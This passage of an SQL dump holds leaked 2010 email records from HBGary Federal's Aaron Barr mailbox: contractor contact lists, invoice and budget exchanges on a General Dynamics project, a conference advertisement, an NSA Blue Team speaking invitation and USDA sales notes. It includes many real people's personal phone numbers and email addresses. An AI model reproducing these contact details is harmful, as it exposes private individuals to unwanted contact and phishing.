<maria@hbgary.com>','/aaron@hbgary.com/new/1297004308.M850344P14101Q795.eml','\"Aaron Barr\" <aaron@hbgary.com>','KLC contacts / Unisys contacts','\r\n\r\n\r\n\r\nEdit | Del\r\n\r\nRandy Meyers\r\nDirector, Information Assurance Engineering\r\n\r\nrmeyers@klcnetworks.com [Gmail]\r\n\r\n(703) 834-1500 x103\r\n\r\nEdit | Del\r\n\r\nDave Warman\r\nExec VP &amp; COO\r\n\r\nsdwarman@klcnetworks.com [Gmail]\r\n\r\n(703) 834-1500 x107\r\n \r\n \r\nUnisysNelson E. ScottNelson.Scott@unisys.comwork 571-449-6192  CSCJim KingAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n William BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n Verizon BusinessBusiness contact Reginald HendricksReginald.hendricks@verizonbusiness.com703-284-4602 Technical contactAndre Chinn\r\nSr. Solutions ConsultantFederal Civilian AgenciesOffice: 703.886.8229Mobile: 571.246.3041andre.chinn@verizonbusiness.com MantechBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.comOps Lead:Jamey Dillon, (703)388-0364, Jamey.dillon@mantech.com \r\nKLCS. David WarmanKLC Network Services, Inc.EVP &amp; COOMobile: 240-367-5717sdwarman@klcnetworks.com-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',240,'aaron_hbgary_com/240.html'),(5941,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004309.M87012P14101Q796.eml','len@keycorp.com','Capabilities Discussion','Hi Len,\r\n\r\nAlthough I am not sure if we ever met we have I think numerous mutual business relationships.  In my previous position I was a Technical Director with Northrop Grumman for Cyber and SIGINT, transitioning about 5 months ago.  Art Money suggested I talk with you at that point.  At the time I had already decided to start up a services sister company focused on information operations, incident response and threat detection.  I had lunch with Tom Conroy last week and we were talking about cyber and he suggested I should get in touch with you to discuss possible opportunities.\r\n\r\nIf interested let me know when are some good dates to try and get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9441,'aaron_hbgary_com/9441.html'),(5942,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004313.M277175P14101Q797.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Gen Dyn','---------- Forwarded message ----------\r\nFrom: Barbara Vermilyea \r\nDate: Mon, Apr 12, 2010 at 3:45 PM\r\nSubject: Gen Dyn\r\nTo: Ted Vera \r\n\r\n\r\nHi Ted,\r\n\r\nHere is the worksheet that reflects the balance left on the GD proj B Contract.\r\n\r\nThanks,\r\n\r\n\r\n Barbara Vermilyea\r\nPROFESSIONAL BOOKKEEPING SERVICES\r\n\r\nTNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)\r\n\r\n(916) 705-8414 mobile\r\n\r\n(916) 351-8380 fax\r\n\r\n\"Don\'t keep me a secret. Your referrals are the heart of my business.\"\r\n\r\nhttp://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n\r\nSPECIALIZING IN...\r\n\r\nQuickBooks/Quicken; Accounts Payable & Receivable; Payroll;\r\nReconciliations; Amortization Schedules & Financial Reports; Year End\r\nReports for Tax Preparer; Budget & Cash Flow Forecasting; Custom\r\nSpreadsheets and more...\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12911,'aaron_hbgary_com/12911.html'),(5943,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004313.M848202P14101Q798.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: Project B Invoice','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, May 3, 2010 at 2:36 PM\r\nSubject: Re: FW: Project B Invoice\r\nTo: Penny Leavy-Hoglund , Barbara Vermilyea\r\n\r\n\r\n\r\nI was working off the pdf I just forwarded - the value had ~$70K left.\r\n Barbara, can you send me the latest with Sherri\'s current invoice\r\nplease.\r\n\r\nThanks,\r\nTed\r\n\r\nOn Mon, May 3, 2010 at 2:32 PM, Penny Leavy-Hoglund  wrote:\r\n> FYI, you two need to coordinate. Was there more funding that you did not up\r\n> date barbara on?\r\n>\r\n>\r\n>\r\n> From: Barbara Vermilyea [mailto:barbarabookkeeping@yahoo.com]\r\n> Sent: Monday, May 03, 2010 1:31 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Project B Invoice\r\n>\r\n>\r\n>\r\n> With Sherri\'s invoice, our billing is over contract by $28,798.04\r\n>\r\n>\r\n>  Barbara Vermilyea\r\n> PROFESSIONAL BOOKKEEPING SERVICES\r\n>\r\n> TNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)\r\n>\r\n> (916) 705-8414 mobile\r\n>\r\n> (916) 351-8380 fax\r\n>\r\n> \"Don\'t keep me a secret. Your referrals are the heart of my business.\"\r\n>\r\n> http://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n>\r\n> SPECIALIZING IN...\r\n>\r\n> QuickBooks/Quicken; Accounts Payable & Receivable; Payroll; Reconciliations;\r\n> Amortization Schedules & Financial Reports; Year End Reports for Tax\r\n> Preparer; Budget & Cash Flow Forecasting; Custom Spreadsheets and more...\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> ________________________________\r\n>\r\n> From: Penny Leavy-Hoglund \r\n> To: Barbara Vermilyea \r\n> Sent: Mon, May 3, 2010 1:17:06 PM\r\n> Subject: FW: Project B Invoice\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: sparks@clearhatconsulting.com [mailto:sparks@clearhatconsulting.com]\r\n> Sent: Monday, May 03, 2010 1:14 PM\r\n> To: Ted Vera\r\n> Cc: Penny Leavy-Hoglund; \'Barbara Vermilyea\'\r\n> Subject: RE: Project B Invoice\r\n>\r\n>\r\n>\r\n> Hi Ted,\r\n>\r\n>\r\n>\r\n> I hope your DEMO goes well (we\'ve got our fingers crossed for you guys :)\r\n> Please find our invoice attached to this email.\r\n>\r\n>\r\n>\r\n> Thanks,\r\n>\r\n> Sherri\r\n>\r\n>\r\n>\r\n> -------- Original Message --------\r\n> Subject: Project B Invoice\r\n> From: Ted Vera \r\n> Date: Mon, May 03, 2010 12:02 pm\r\n> To: sparks@clearhatconsulting.com\r\n> Cc: Penny Leavy-Hoglund , \'Barbara Vermilyea\'\r\n> \r\n>\r\n> Hi Sherry,\r\n>\r\n> Project B is coming to a close. Can you please send an invoice for your\r\n> unbilled work (reply to all, please).\r\n>\r\n> Thank you so much for your efforts, we couldn\'t have done it without you\r\n> and Shawn. I hope to hear from our customer later today about their\r\n> demo, I\'ll be sure to let you know how it goes.\r\n>\r\n> We look forward to working with you on several upcoming projects.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8065,'aaron_hbgary_com/8065.html'),(5944,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004314.M498655P14101Q799.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: GD Proj B','---------- Forwarded message ----------\r\nFrom: Barbara Vermilyea \r\nDate: Mon, May 3, 2010 at 2:52 PM\r\nSubject: GD Proj B\r\nTo: Ted Vera \r\n\r\n\r\nHey Ted,\r\n\r\nI have received Sherri\'s invoice. We are now over the PO amount by\r\n$28,798.04. See attached spreadsheet.\r\n\r\n\r\n Barbara Vermilyea\r\nPROFESSIONAL BOOKKEEPING SERVICES\r\n\r\nTNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)\r\n\r\n(916) 705-8414 mobile\r\n\r\n(916) 351-8380 fax\r\n\r\n\"Don\'t keep me a secret. Your referrals are the heart of my business.\"\r\n\r\nhttp://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n\r\nSPECIALIZING IN...\r\n\r\nQuickBooks/Quicken; Accounts Payable & Receivable; Payroll;\r\nReconciliations; Amortization Schedules & Financial Reports; Year End\r\nReports for Tax Preparer; Budget & Cash Flow Forecasting; Custom\r\nSpreadsheets and more...\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16754,'aaron_hbgary_com/16754.html'),(5945,'2010-05-03','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004314.M802944P14101Q800.eml','aaron@hbgary.com','Don\'t miss the AFCEA/USNI Joint Warfighting Conference - May 11-13 in Virginia Beach',' \r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n          \r\n          \r\n	\r\n		Fourth annual Joint Warfighting conference and exposition \r\n		  &quot;Combatant and Coalition Commanders: What Will They Need Five Years From Now?&quot;\r\n  May 11-13, 2010\r\n		  Virginia Beach Convention Center, VA\r\n		  \r\n		    \r\n		      \r\n		      Co-sponsored by AFCEA International and the U.S. Naval Institute, in coordination with U.S. Joint Forces Command and with support of the NDIA Greater Hampton Roads Chapter and the AFCEA Hampton Roads and Tidewater Chapters.\r\n		        &nbsp;&nbsp;&nbsp; \r\n		      \r\n		    		                \r\n              \r\n               Registration is FREE!&nbsp; CLICK HERE to register.\r\n\r\nFeatured Speakers:\r\n&nbsp;\r\n\r\n              The Honorable Mich&egrave;le A. Flournoy, Under Secretary of Defense for Policy, U.S. Department of Defense\r\n                        \r\n            \r\n              ADM Michael G. Mullen, USN, Chairman of the Joint Chiefs of Staff * \r\n                        \r\n            \r\n              Gen James N. Mattis, USMC, Commander, U.S. Joint Forces Command\r\n*                \r\n                        \r\n\r\n  GEN David H. Petraeus, USA, Commander, U.S. Central Command * \r\n  Gen Craig R. McKinley, USAF, Chief, National Guard Bureau\r\n            \r\n            \r\n              Gen St&eacute;phane Abrial, French Air Force, NATO Supreme Allied Commander Transformation\r\n              \r\n               \r\n            &quot;What Should Be Done to Secure the Homelands?&quot;\r\n              Moderator: Mr. David Hartman, former Host, Good Morning America\r\n                        \r\n            \r\n              Participants:              \r\n                        \r\n              The Honorable Michael Chertoff, \r\n                          Senior of Counsel, Covington &amp; Burling LLP, \r\n              former U.S. Secretary of Homeland Security\r\n              ADM Timothy J. Keating, USN (Ret.), \r\n                        former Commander, U.S. Pacific Command\r\n                        \r\n\r\n  * Luncheon address - ticket required for meal. Ticket purchase available through on-line registration. \r\n&nbsp;\r\nPanel Sessions - Dialogue with the Experts:\r\n\r\n  Power Shifts: Who\'s Up? Who\'s Down? What\'s Changing?\r\n  Fresh from the Fight: What Do Company Level Leaders See as the Threats?\r\n  What Needs to Be Done to Make the Interagency Pieces Work?\r\n            \r\n            \r\n              Battles of Competing Narratives: Why Do They Matter\r\n                        \r\n            \r\n              Small Unit Excellence: What Will It Take?\r\n              How Do We Fight Through a Digital Meltdown?\r\n              What Needs to Be Done to Make the Joint/Coalition Force Acquisition Interoperable?                \r\n                        \r\n                                                    Over 200 IT and defense exhibitors showcasing technologies and solutions\r\n            &nbsp; \r\nFREE to all Joint Warfighting attendees and exhibitors: \r\n\r\n   \r\n  All Plenary Sessions \r\n   \r\n  All Panel Sessions \r\n   \r\n  DON IT 2010 East Coast Conference \r\n   \r\n  U.S. Joint Forces Command Engagement Booth \r\n   \r\n  Allied Command Transformation Engagement Booth \r\n   \r\n  U.S. Joint Forces Command Knowledge Management Workshops/Sessions \r\n   \r\n  MOAA Career and Financial Seminars \r\n   \r\n  Continental Breakfasts \r\n   \r\n  Technology Receptions \r\n   \r\n  SIGNAL Magazine - The Secrets Behind Getting News Published \r\n  U.S. Naval Institute WRITERS Panel Session \r\n\r\nTickets required for:\r\n\r\n   \r\n  Luncheons \r\n   \r\n  Dessert Breaks \r\n   \r\n  Navy Blue Coast Small Business Conference \r\n  MOAA Military Spouse Symposium \r\n\r\n&nbsp;\r\n\r\n\r\n          \r\nFor more information on the Joint Warfighting Conference and to register FREE click here.\r\n\r\nWe hope to see you in Virginia Beach!\r\n\r\n        \r\n		\r\n	\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	\r\n	  \r\n		\r\n	\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n',2002,'aaron_hbgary_com/2002.html'),(5946,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004315.M251383P14101Q802.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: REBL 10','Great.  Bob,  if you are going to coordinate this with Scott please\r\ninclude me on the attendees list.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn May 3, 2010, at 4:58 PM, Penny Leavy-Hoglund \r\nwrote:\r\n\r\n> Greg said he would do it\r\n>\r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Monday, May 03, 2010 6:25 AM\r\n> To: \'Greg Hoglund\'; \'Rich Cummings\'; \'Penny Leavy-Hoglund\'; \'Aaron\r\n> Barr\'\r\n> Subject: FW: REBL 10\r\n>\r\n> Greg, Rich, Penny and Aaron,\r\n>\r\n> See email below from Scott Brown.  He is inviting Greg to give a\r\n> keynote\r\n> talk at REBL.  There will be no competing talks.   The audience will\r\n> be\r\n> around 500 people from all over gov\'t.\r\n>\r\n> I believe this talk will generate sales prospects.  Please let me\r\n> know ASAP\r\n> one way or the other.\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil]\r\n> Sent: Monday, May 03, 2010 7:02 AM\r\n> To: Bob Slapnik\r\n> Subject: REBL 10\r\n>\r\n> Bob,\r\n>\r\n> I was interested in determining if Greg wanted to provide a 60\r\n> minute talk\r\n> on the current state of malware based on what you guys are seeing\r\n> with TMC\r\n> and implementing into your commercial tools.  I believe it would be\r\n> ok to\r\n> talk about TMC since it is not a commercial product, but Greg really\r\n> couldn\'t talk specifically to DDNA or Responder except to say that\r\n> there are\r\n> commercial tools out there that can help speed up identification and\r\n> analysis.  I think Aaron\'s talk would be interesting, but I believe\r\n> the\r\n> audience would be much more interested in Greg\'s talk.  Also, I want\r\n> to\r\n> position this as a keynote talk, to be given from 3:30 to 4:30 on\r\n> Tues 15\r\n> June or Thurs 17 June.  There would be no competing talks or\r\n> sessions, and\r\n> the audience could be as many as 500.  In addition to my team, you\r\n> would\r\n> have all of the other reps from service blue teams, federal govt\r\n> teams, etc\r\n> that would be responsible for incident response on analyzing malware\r\n> (these\r\n> are the teams that will likely be following our lead on how we use\r\n> commercial tools to perform malware identification and analysis).\r\n>\r\n> Thanks,\r\n>\r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date:\r\n> 05/02/10\r\n> 02:27:00\r\n>\r\n>\r\n',6606,'aaron_hbgary_com/6606.html'),(5947,'2010-05-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004315.M25717P14101Q801.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL 10','Greg said he would do it\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Monday, May 03, 2010 6:25 AM\r\nTo: \'Greg Hoglund\'; \'Rich Cummings\'; \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: FW: REBL 10\r\n\r\nGreg, Rich, Penny and Aaron,\r\n\r\nSee email below from Scott Brown.  He is inviting Greg to give a keynote\r\ntalk at REBL.  There will be no competing talks.   The audience will be\r\naround 500 people from all over gov\'t.\r\n\r\nI believe this talk will generate sales prospects.  Please let me know ASAP\r\none way or the other.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Monday, May 03, 2010 7:02 AM\r\nTo: Bob Slapnik\r\nSubject: REBL 10\r\n\r\nBob,\r\n\r\nI was interested in determining if Greg wanted to provide a 60 minute talk\r\non the current state of malware based on what you guys are seeing with TMC\r\nand implementing into your commercial tools.  I believe it would be ok to\r\ntalk about TMC since it is not a commercial product, but Greg really\r\ncouldn\'t talk specifically to DDNA or Responder except to say that there are\r\ncommercial tools out there that can help speed up identification and\r\nanalysis.  I think Aaron\'s talk would be interesting, but I believe the\r\naudience would be much more interested in Greg\'s talk.  Also, I want to\r\nposition this as a keynote talk, to be given from 3:30 to 4:30 on Tues 15\r\nJune or Thurs 17 June.  There would be no competing talks or sessions, and\r\nthe audience could be as many as 500.  In addition to my team, you would\r\nhave all of the other reps from service blue teams, federal govt teams, etc\r\nthat would be responsible for incident response on analyzing malware (these\r\nare the teams that will likely be following our lead on how we use\r\ncommercial tools to perform malware identification and analysis).\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n\r\n',13398,'aaron_hbgary_com/13398.html'),(5948,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004315.M486054P14101Q803.eml','\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: GD Worksheet updated','Hi Barbara,\r\n\r\nI discussed with Penny, and she agreed to wrap my and Mark\'s hours in\r\n27% fee.  After applying this change we come in just under budget.\r\nSee attached spreadsheet with highlighted changes.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Mon, May 3, 2010 at 3:31 PM, Barbara Vermilyea\r\n wrote:\r\n> This one includes Martin\'s time.\r\n>\r\n>\r\n>  Barbara Vermilyea\r\n> PROFESSIONAL BOOKKEEPING SERVICES\r\n>\r\n> TNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)\r\n>\r\n> (916) 705-8414 mobile\r\n>\r\n> (916) 351-8380 fax\r\n>\r\n> \"Don\'t keep me a secret. Your referrals are the heart of my business.\"\r\n>\r\n> http://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n>\r\n> SPECIALIZING IN...\r\n>\r\n> QuickBooks/Quicken; Accounts Payable & Receivable; Payroll; Reconciliations;\r\n> Amortization Schedules & Financial Reports; Year End Reports for Tax\r\n> Preparer; Budget & Cash Flow Forecasting; Custom Spreadsheets and more...\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7904,'aaron_hbgary_com/7904.html'),(5949,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004315.M723453P14101Q804.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: USDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI called the Verizon Business people I know.&nbsp; They aren&#8217;t\r\ninvolved with gov&#8217;t work and didn&#8217;t know the POCs for Verizon listed for this\r\ncontract.&nbsp; I asked them to put in a good word for us.&nbsp; I called the contract\r\nPOCs and they didn&#8217;t call me back. I will try again.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Monday, May 03, 2010 2:27 PM\r\nTo: Aaron Barr; Bob Slapnik\r\nCc: Penny C. Hoglund; Rich Cummings; Joe Pizzo\r\nSubject: USDA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKLM has (2) RFQs for USDA -- the second RFQ covers\r\nforensics.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKLM sees&nbsp;HBGary fitting in&nbsp;for both.&nbsp; They\r\nare meeting today with Greg for lunch and they\'ve asked me to complete a\r\nresponse to the requirements and I\'ll need some help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat is the status of the other vendors?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUnisys -- I spoke to him, he was confused by the RFQ and\r\ndidn\'t see us fitting in&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nVerizon Business -- Bob, did you speak with them?\r\n\r\n\r\n\r\n\r\n\r\nCSC, Mantech&nbsp; -- Aaron are\r\nthere any next steps for responding to RFQ?\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Mon, May 3, 2010 at 10:55 AM\r\nSubject: Re: RFQ information\r\nTo: Randy Meyers &lt;rmeyers@klcnetworks.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nRandy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI understand there are (2) RFQs.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat I need from you is a copy of each RFQ&nbsp;with each\r\nitem&nbsp;highlighted that you expect us to respond to?&nbsp; This will allow\r\nme to respond much quicker.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, May 3, 2010 at 6:17 AM, Randy Meyers &lt;rmeyers@klcnetworks.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis a complete list of what we would like to receive from you.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nRandy\r\nMeyers\r\n\r\nDirector,\r\nInformation Assurance Engineering\r\n\r\nKLC\r\nNetwork Services\r\n\r\n703-834-1500\r\nx103\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2851 - Release Date: 05/03/10\r\n02:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4480,'aaron_hbgary_com/4480.html'),(5950,'2010-05-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004315.M972659P14101Q805.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','USDA -- finally got to the bottom of this','The CIO office of the USDA lobbied and got centralized control and funding for information security because there were 5 different IDS purchased and lots of shelfware.\r\n \r\nToday USDA is organized this way:\r\n \r\nITS -- IT Services responsible for host servers/workstations.  Current focus is implementing Active Directory.  They learn about threats from US-CERT. They wipe and go.\r\nNITSI - LAN services\r\nUTN - WAN services\r\nState Dept - Global WAN\r\nASOC -- no host no applications.\r\n \r\nTo get on the HOST we have to go to ITS.  ASOC has no access to the host today.  KLC Networks will introduce us to ITS in June.  However, security is not their focus.  He sees that HBGary will be a viable solution in the future he doesn&#39;t know when.\r\n\r\n \r\nWe know that Ken Jones wants us on the ASOC network -- about 1,400 endpoints.  It is expected that there will be an RFP for that coming up...\r\n \r\nNext step:\r\n1. Get purchased for ASOC network\r\n2. Present to ITS-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',6073,'aaron_hbgary_com/6073.html'),(5951,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004316.M185376P14101Q806.eml','\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>','Re: GD Worksheet updated','I think we can just do one final invoice with a retro active rate change for me and Mark, including a comment that the change is due to our being HBGary Federal employees, which has a different (lower) rate structure.\r\n Penny also mentioned somehow just making the adjustment internally.\r\n\r\nIn the near future the contract will be held by Federal, so the rates will change then. It might make sense to do it now. \r\n\r\nTed\r\nOn May 3, 2010, at 4:39 PM, Barbara Vermilyea &lt;barbarabookkeeping@yahoo.com&gt; wrote:\r\n\r\nI assume we need to revise prior invoices that they have paid? \r\n Barbara VermilyeaPROFESSIONAL BOOKKEEPING SERVICES\r\n\r\nTNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)\r\n(916) 705-8414 mobile\r\n(916) 351-8380 fax\r\n&quot;Don&#39;t keep me a secret. Your referrals are the heart of my business.&quot;\r\nhttp://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n\r\nSPECIALIZING IN...\r\nQuickBooks/Quicken; Accounts Payable &amp; Receivable; Payroll; Reconciliations; Amortization Schedules &amp; Financial Reports; Year End Reports for Tax Preparer; Budget &amp; Cash Flow Forecasting; Custom Spreadsheets and more...\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;To: Barbara Vermilyea &lt;barbarabookkeeping@yahoo.com&gt;; Penny Leavy &lt;penny@hbgary.com&gt;\r\nSent: Mon, May 3, 2010 3:15:09 PMSubject: Re: GD Worksheet updatedHi Barbara,I discussed with Penny, and she agreed to wrap my and Mark&#39;s hours in\r\n27% fee.  After applying this change we come in just under budget.See attached spreadsheet with highlighted changes.Regards,TedOn Mon, May 3, 2010 at 3:31 PM, Barbara Vermilyea&lt;barbarabookkeeping@yahoo.com&gt; wrote:\r\n&gt; This one includes Martin&#39;s time.&gt;&gt;&gt;  Barbara Vermilyea&gt;\r\n PROFESSIONAL BOOKKEEPING SERVICES&gt;&gt; TNI Folsom Breakfast, VP, Past Treasurer (Business-to-Business Networking)&gt;&gt; (916) 705-8414 mobile&gt;&gt; (916) 351-8380 fax&gt;&gt; &quot;Don&#39;t keep me a secret. Your referrals are the heart of my business.&quot;\r\n&gt;&gt; http://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n&gt;&gt; SPECIALIZING IN...&gt;&gt; QuickBooks/Quicken; Accounts Payable &amp; Receivable; Payroll; Reconciliations;&gt; Amortization Schedules &amp; Financial Reports; Year End Reports for Tax&gt; Preparer; Budget &amp; Cash Flow Forecasting; Custom Spreadsheets and more...\r\n&gt;-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n      \r\n',786,'aaron_hbgary_com/786.html'),(5952,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004316.M494400P14101Q807.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','That movie was...','KICK ASS!\r\n\r\nSent from my iPad\r\n',1837,'aaron_hbgary_com/1837.html'),(5953,'2010-05-04','\"Ted Vera\" 